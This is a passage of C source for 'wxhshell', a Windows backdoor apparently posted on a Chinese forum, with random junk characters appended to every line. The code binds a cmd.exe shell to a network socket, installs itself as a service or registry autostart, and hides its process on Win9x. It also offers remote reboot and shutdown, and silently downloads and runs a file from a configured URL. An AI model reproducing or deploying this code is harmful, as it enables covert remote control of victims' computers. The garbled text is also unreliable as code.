  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7JwWM2N?V  
  } ~ M>zO#U6  
  else { 4uVmhjT:X  
jW0z|jr  
    switch(cmd[0]) { Fea\ eB  
  \ A UtGP  
  // 帮助 c\rbLr}l)  
  case '?': { 5pyvs;As  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _"Ke=v_5  
    break; XI(@O)  
  } h sw My  
  // 安装 Tb6x@MorP  
  case 'i': { *A9{H>Vq  
    if(Install()) *b l{F\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^znv[  
    else [(UqPd$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k{w^MOHNg  
    break; )Is*- W  
    } |g^W @.P  
  // 卸载 s!!t  
  case 'r': { 9i[2z:4HJ  
    if(Uninstall())  /lok3J:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gqc6).tn  
    else H+&w7ER  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e Em0c]]9  
    break; n#'',4f  
    } \$|UFx  
  // 显示 wxhshell 所在路径  M!DoR6  
  case 'p': { nhhJUN?8  
    char svExeFile[MAX_PATH]; Kqu7DZ+W  
    strcpy(svExeFile,"\n\r"); 0J-ux"kfI  
      strcat(svExeFile,ExeFile); WbzL!zLd!  
        send(wsh,svExeFile,strlen(svExeFile),0); rbS= Ewk  
    break; !D5`8   
    } Elk$9 < <  
  // 重启 &WU*cfJn)A  
  case 'b': { _1%^ ibn  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R~(.uV`#j  
    if(Boot(REBOOT)) IHmNi>E&/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '^Np<  
    else { a~EEow;A  
    closesocket(wsh); VQ 3&  
    ExitThread(0); o=2`N2AL  
    } HUI!IOh  
    break; ZKTBjOa]*  
    } $iJ #%&D  
  // 关机 r+Cha%&D  
  case 'd': { >2a#|_-T  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !K)|e4$  
    if(Boot(SHUTDOWN)) O5%F-}(:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oh~Dbu=%  
    else { iW$i%`>  
    closesocket(wsh); RIc<  
    ExitThread(0); l7um9@[4  
    } ;.a)r  
    break; 8rNxd=!  
    } b4PK  
  // 获取shell "n-xsAG  
  case 's': { w2V E_  
    CmdShell(wsh); n_2 LkW<?  
    closesocket(wsh); 4rdrl  
    ExitThread(0); #!@ ]%4  
    break; ]qRz!D%@^  
  } 9:~^KQ{?  
  // 退出 e]fC!>w(\  
  case 'x': { u8=|{)yL  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qT%E[qDS  
    CloseIt(wsh);  >S/>2e:  
    break; Bqgw%_  
    } %.Y`X(g6/  
  // 离开 O$^YUHD  
  case 'q': { 8Qy |;T}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <[~M|OL9q,  
    closesocket(wsh); IrM3Uh  
    WSACleanup(); kS!*kk*a  
    exit(1); % m$Mn x  
    break; PrxXL/6  
        } 0CYI,V  
  } $OuA<-  
  } O-YE6u  
@#">~P|Hp  
  // 提示信息 XA%?35v~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !4fL|0  
} YJ`>&AJ  
  } |Dli6KN  
LYv2ll`XP  
  return; kXRD_B5&  
} l6O(+*6Us  
~C+T|  
// shell模块句柄 #2iA-5  
int CmdShell(SOCKET sock) m0YDO 0  
{ sS|5x  
STARTUPINFO si; $^F2  
ZeroMemory(&si,sizeof(si)); y.OUn'^d4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $dVjxo  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; J)f?x T*  
PROCESS_INFORMATION ProcessInfo; 0' t)fnI#  
char cmdline[]="cmd"; xRmB?kM3]5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); EA72%Y9F  
  return 0; W X9BS$}0  
} SY.V_O$l }  
5O*$#C;c  
// 自身启动模式 ZN/")  
int StartFromService(void) J3vuh#  
{ +(T,d]o]  
typedef struct :}cAq/  
{ elQ44)TrQ  
  DWORD ExitStatus; ?:c hAN@  
  DWORD PebBaseAddress; {fs(+ 0ei  
  DWORD AffinityMask; eP8wTStC  
  DWORD BasePriority; cA,xf@itp  
  ULONG UniqueProcessId; ,0O!w>u_]J  
  ULONG InheritedFromUniqueProcessId; lU3wIB  
}   PROCESS_BASIC_INFORMATION; u5,<.#EVY  
JM0)x}] +  
PROCNTQSIP NtQueryInformationProcess; _Yv9u'q"  
J<D =\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3@SfCG&|e  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; yuWrU<Kw  
bK7DGw`1  
  HANDLE             hProcess; 8cl!8gfv  
  PROCESS_BASIC_INFORMATION pbi; }z6HxB]$  
Y|bGd_j  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); F{S.f1Bsp  
  if(NULL == hInst ) return 0; l!2.)F`x  
$onliW|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3/ D fsv  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); oz--gA:g  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6 AY%o nY  
L'(^[vR(  
  if (!NtQueryInformationProcess) return 0; D!CGbP(  
OXo-(HLE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @g{ " E6  
  if(!hProcess) return 0; uM$=v]e^ 4  
_eS*e-@O5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hsh W5j  
7e4\BzCC  
  CloseHandle(hProcess); OpfFF;"A'  
YN^8s  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); j"]%6RwM]  
if(hProcess==NULL) return 0; V=U%P[S  
Aka`L:k  
HMODULE hMod; >ObpOFb%  
char procName[255]; ; 1WclQ!(  
unsigned long cbNeeded; vv3?ewr y  
G.;<?W  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6_7d1.wv9  
Ek:u[Uw\  
  CloseHandle(hProcess); /V^S)5r  
*)Y;`Yg$  
if(strstr(procName,"services")) return 1; // 以服务启动 }[|"db  
B dSTB"  
  return 0; // 注册表启动 9%8T09I!  
} +oc}kv,h]  
Wr;)3K  
// 主模块 gS!M7xy  
int StartWxhshell(LPSTR lpCmdLine) DWDe5$^{  
{ Zn/1uWO  
  SOCKET wsl; Q{RHW@_/  
BOOL val=TRUE; W'[!4RQL  
  int port=0; VYOO8MQI  
  struct sockaddr_in door; y]k`}&-~  
'7$v@Tvnre  
  if(wscfg.ws_autoins) Install(); {.ph)8  
4o_1F).\D  
port=atoi(lpCmdLine); ~96"^%D  
ezL*YM8?@  
if(port<=0) port=wscfg.ws_port; 5<61NnZ  
_=rXaTp  
  WSADATA data; d 1z   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ofn:<d  
L^22,B 0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   p47~vgJN  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fK[9<"PC0  
  door.sin_family = AF_INET; kG{(Qi  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); kb>9;-%^JK  
  door.sin_port = htons(port); *op7:o_  
v / a/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |Q$C%7  
closesocket(wsl); )]>9\(  
return 1; $*tuv ?  
} BD#4=u  
"l!"gc87  
  if(listen(wsl,2) == INVALID_SOCKET) { REa%kU  
closesocket(wsl); 79&Mc,69  
return 1; YO=;)RA  
} SU*P@?:/}  
  Wxhshell(wsl); nC z[#t  
  WSACleanup(); ]M_)f  
Vi]D](^!  
return 0; RD~QNj9,T  
z*FlZLHY  
} Ih{~?(V$  
2)G ZU  
// 以NT服务方式启动 X;-,3dy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a].Bn#AH!C  
{ ]UMwpL&rY  
DWORD   status = 0; ;$Wa=wHb  
  DWORD   specificError = 0xfffffff; y};qo'dlt  
9,,1\0-T*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; OuX/BMG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; j,Mp["X&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7I HWj<  
  serviceStatus.dwWin32ExitCode     = 0; }3@`'i7  
  serviceStatus.dwServiceSpecificExitCode = 0; aPWFb.JO4  
  serviceStatus.dwCheckPoint       = 0; [QeKT8  
  serviceStatus.dwWaitHint       = 0; "5{\0CfS  
4((Z8@iX/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9~N7hLT  
  if (hServiceStatusHandle==0) return; BWd?a6nU}  
-cG?lEh <  
status = GetLastError(); B3K%V|;z )  
  if (status!=NO_ERROR) ]SK(cfA`  
{ DK:d'zb  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; p/@z4TCNX  
    serviceStatus.dwCheckPoint       = 0; {`-EX  
    serviceStatus.dwWaitHint       = 0; qlSMg;"Ghw  
    serviceStatus.dwWin32ExitCode     = status; ^y&l!,(A   
    serviceStatus.dwServiceSpecificExitCode = specificError; ZgN*m\l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `9@!"p f  
    return; LV`- eW  
  } E]Kd`&^}  
7m8L!t9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )Y)7p//  
  serviceStatus.dwCheckPoint       = 0; wd u>3Ch"y  
  serviceStatus.dwWaitHint       = 0; tEb2>+R  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); YV0e)bf  
} &H* F  
zm"&8/l  
// 处理NT服务事件,比如:启动、停止 ${`\In_?O  
VOID WINAPI NTServiceHandler(DWORD fdwControl) XxV]U{i!  
{ qbB.Z#w  
switch(fdwControl) >GqIpfn  
{ 9;.dNdg>  
case SERVICE_CONTROL_STOP: Ey)ox$  
  serviceStatus.dwWin32ExitCode = 0; !m78/[LW  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k~Gjfo  
  serviceStatus.dwCheckPoint   = 0; WMrK8e'  
  serviceStatus.dwWaitHint     = 0; T_pE'U%[  
  { 1298&C@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /K'Kx  
  } 3<B{-z  
  return; dBCg$Rud&  
case SERVICE_CONTROL_PAUSE: (/PD;R$b  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6Ba>l$/q  
  break; @Yy=HV  
case SERVICE_CONTROL_CONTINUE: [4 "%NY  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^ .>)*P  
  break; %Sj;:LC  
case SERVICE_CONTROL_INTERROGATE: T- JJc#  
  break; OG0ro(|dI  
}; :s*&_y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D7 A{*Tm  
} I9B B<~4o  
Bojm lVg  
// 标准应用程序主函数 r)ga{Nn,.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) sd Z=3)  
{ obUh+9K  
?zxKk(J  
// 获取操作系统版本 8> Gp #T  
OsIsNt=GetOsVer(); M1VRc[ RRo  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S tn[M|  
=T;%R^@  
  // 从命令行安装 ^k~{6S,  
  if(strpbrk(lpCmdLine,"iI")) Install(); >pz/wTOi  
-K+grsb g  
  // 下载执行文件 J>x)J}:;  
if(wscfg.ws_downexe) { :N(L7&<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) jt;68SA P  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6]na#<  
} bSBI[S  
,1QU  
if(!OsIsNt) { Z$Qlr:7  
// 如果时win9x,隐藏进程并且设置为注册表启动 #kk_iS>8  
HideProc(); Nqz-Mr`  
StartWxhshell(lpCmdLine); 3)I v8mA  
} 2L ~U^  
else lYU_uFOs\  
  if(StartFromService()) RQv`D&u_  
  // 以服务方式启动 ykM(` 1` m  
  StartServiceCtrlDispatcher(DispatchTable); W>'R<IY4#N  
else s|YY i~  
  // 普通方式启动 R>#T {<<L  
  StartWxhshell(lpCmdLine); t:$p8qR  
1,BtOzuRo  
return 0; QZ%_hvY[%>  
}
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只看该作者 1 发表于: 2006-10-10
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